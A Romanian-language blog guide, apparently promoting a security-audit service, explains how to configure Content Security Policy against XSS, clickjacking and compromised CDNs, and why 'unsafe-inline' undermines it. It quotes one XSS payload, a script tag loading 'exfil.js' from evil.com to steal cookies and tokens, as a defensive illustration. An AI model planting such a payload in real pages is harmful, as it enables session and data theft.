CSP (Content Security Policy): ghid de configurare 2026 + de ce 'unsafe-inline' anulează totul
CSP e al doilea zid de apărare anti-XSS, după sanitizarea input-ului. Vedem cum configurați CSP modern (nonce + strict-dynamic) și de ce 'unsafe-inline' reduce CSP la teatru de securitate.
Pe scurt
Content Security Policy (CSP) este un header HTTP prin care serverul instruiește browserul ce surse de cod, stiluri, imagini, fonts, scripturi, conexiuni AJAX sau iframe-uri sunt permise. Fără CSP, browserul execută orice script încărcat — inclusiv scripturi injectate prin Cross-Site Scripting (XSS), reflectate în URL sau servite din CDN-uri compromise.
CSP e al doilea zid de apărare anti-XSS (primul fiind sanitizarea input-ului) și e menționat explicit în OWASP Top 10:2025 — A02 Security Misconfiguration ca măsură obligatorie pentru aplicații care manipulează date sensibile sau autentificare.
Greșeala #1 în deployment-uri reale: includerea 'unsafe-inline' în script-src — anulează 95% din protecție.
Anatomia atacului XSS și cum CSP îl blochează
Cazul “comentariu nesanitizat”
Atacatorul postează un comentariu pe blog-ul vostru:
<script src="https://evil.com/exfil.js"></script>
Dacă input-ul nu e escape-uit, browserul utilizatorilor execută scriptul din evil.com cu drepturile sesiunii lor. Atacatorul exfiltrează cookie-uri, tokeni JWT din localStorage, date din formulare în execuție.
Cu CSP script-src 'self', browserul refuză să încarce script-ul din domeniu extern → atac eșuează.
Cazul “CDN compromis” (Polyfill.io 2024)
Polyfill.io a fost vândut companiei chineze și apoi a injectat malware în polyfill-uri. Toate site-urile care încărcau cdn.polyfill.io/polyfill.min.js au servit malware utilizatorilor lor.
Cu CSP cu 'sha256-XXXX...' (subresource integrity hash) sau allowlist explicit, modificarea conținutului CDN e detectată instant și script-ul refuzat.
Cazul “iframe spoofing”
Atacator încarcă site-ul vostru într-un iframe transparent peste pagina lui și suprapune butoane fake peste form-uri reale (clickjacking). CSP frame-ancestors 'none' blochează încărcarea în iframe extern.
Anatomia unui CSP corect configurat
Content-Security-Policy:
default-src 'self';
script-src 'self' 'sha256-Vk5c5gB...' https://js.stripe.com;
style-src 'self' 'unsafe-hashes' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.stripe.com;
frame-src https://js.stripe.com https://checkout.stripe.com;
frame-ancestors 'none';
form-action 'self' https://checkout.stripe.com;
base-uri 'self';
object-src 'none';
upgrade-insecure-requests;
report-uri /csp-violations
Directive importante explicate
| Directiva | Rol |
|---|---|
default-src 'self' | Fallback strict — orice resursă neacoperită explicit cade pe 'self' |
script-src | Sursele permise pentru JavaScript (cea mai critică directivă) |
style-src | Sursele permise pentru CSS |
img-src | Sursele permise pentru imagini |
connect-src | Sursele permise pentru fetch, XMLHttpRequest, WebSocket |
frame-src | Cine poate fi încărcat în iframe-urile voastre |
frame-ancestors | Cine poate încărca site-ul vostru în iframe (anti-clickjacking) |
form-action | Unde pot trimite form-urile (anti-form-hijacking) |
base-uri | Restricționează <base href> (anti-rebase attack) |
object-src 'none' | Blochează <object>, <embed> (Flash legacy) |
report-uri | Endpoint care primește JSON cu violations |
De ce 'unsafe-inline' anulează CSP
'unsafe-inline' în script-src permite execuția oricărui <script> inline sau atribut onclick=, onmouseover=. Acesta e exact vectorul XSS pe care CSP ar trebui să-l blocheze.
Permițând 'unsafe-inline', CSP devine teatru de securitate — header-ul există dar nu protejează nimic relevant.
Verificați CSP-ul actual al site-ului vostru pe https://csp-evaluator.withgoogle.com/ (Google) — flag-uiește automat configurațiile slabe.
Strategia modernă (CSP Level 3)
În 2026, abordarea recomandată e:
script-src 'self' 'nonce-r4nd0m1234' 'strict-dynamic';
'nonce-r4nd0m'— un token random generat per request (16+ bytes base64), injectat în toate<script nonce="r4nd0m1234">. Atacatorul nu cunoaște nonce-ul.'strict-dynamic'— script-urile cu nonce valid pot încărca alte script-uri, ignorându-se restul listei. Reduce overhead de allowlist explicit.
Implementare pas-cu-pas
Pas 1 — Audit dependințe externe
Identificați toate domeniile de la care încărcați JS/CSS/img/fonts:
- Google Analytics (
googletagmanager.com,google-analytics.com) - Stripe (
js.stripe.com,checkout.stripe.com) - Fonturi Google (
fonts.googleapis.com,fonts.gstatic.com) - CDN librării (
cdnjs.cloudflare.com) - Reclame, social plugins, etc.
DevTools → Network tab pe paginile critice (login, checkout, dashboard) — listă completă.
Pas 2 — Mod report-only întâi (7-14 zile)
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /csp-violations
Browserul nu blochează nimic, doar raportează violations la endpoint. Astfel detectați resurse pierdute înainte să le blocați.
Pas 3 — Setup endpoint /csp-violations
Server-side (Express, FastAPI, etc.) — primește POST cu JSON conținând URL-ul blocat, directive violate, pagina de origine. Logați + analizați. După 14 zile fără false positives → switch la enforce.
Pas 4 — Switch la enforce
Content-Security-Policy: default-src 'self'; ...; report-uri /csp-violations
Eliminați Content-Security-Policy-Report-Only (lăsați doar enforce + report-uri).
Pas 5 — Migrare la nonce-based (recomandat 2026)
- Mutați toate scripturile inline în fișiere
.jsseparate - Pentru
<script>inline rămase, folosiți nonce sau hash sha256 - Onclick handlers
<button onclick="...">→ addEventListener în.jsextern
<!-- Before -->
<button onclick="doSomething()">Click</button>
<!-- After -->
<button id="action-btn">Click</button>
<script nonce="r4nd0m1234">
document.getElementById('action-btn').addEventListener('click', doSomething);
</script>
Pas 6 — Monitor production
Logurile /csp-violations ar trebui revizuite săptămânal. Volumul de erori indică:
- Pagini cu resurse externe nedeclarate (fix policy)
- Atacuri active în desfășurare (fix root cause)
Confuzii frecvente
“CSP rupe site-ul meu.” — Doar dacă deploy-ați direct pe enforce fără report-only. Cu ramp-ul corect, riscul e zero.
“CSP e overkill — folosesc DOMPurify pentru sanitizare input.” — Sanitizarea e nivelul 1 (preventiv). CSP e nivelul 2 (defense în adâncime). Ambele sunt necesare în 2026.
“Am 'unsafe-eval' doar pentru un library, e OK?” — 'unsafe-eval' deschide poarta la code injection dinamic. Refactorizați library-ul sau înlocuiți-l. Legacy code-ul se reverifică.
Verificați acum
ARTEMIS detectează automat prezența CSP + flag-uiește configurațiile slabe (unsafe-inline, unsafe-eval) la 2 EUR per scanare Site sau 40 EUR Full.
🔗 Soluții complementare CAI Technology
- ARTEMIS — Audit tehnic CSP + 36 alte verificări de securitate web.
- Auditope — Audit holistic web (SEO + AI search + Performance + WCAG + GDPR + UX).
- Lexnomia — Evaluare conformitate UE (NIS2 / GDPR / DORA / ISO 27001).
- BeLegal — Verificare gratuită 5 minute compliance UE.
- AriaUnited — Consultanță fonduri europene pentru investiții cybersecurity.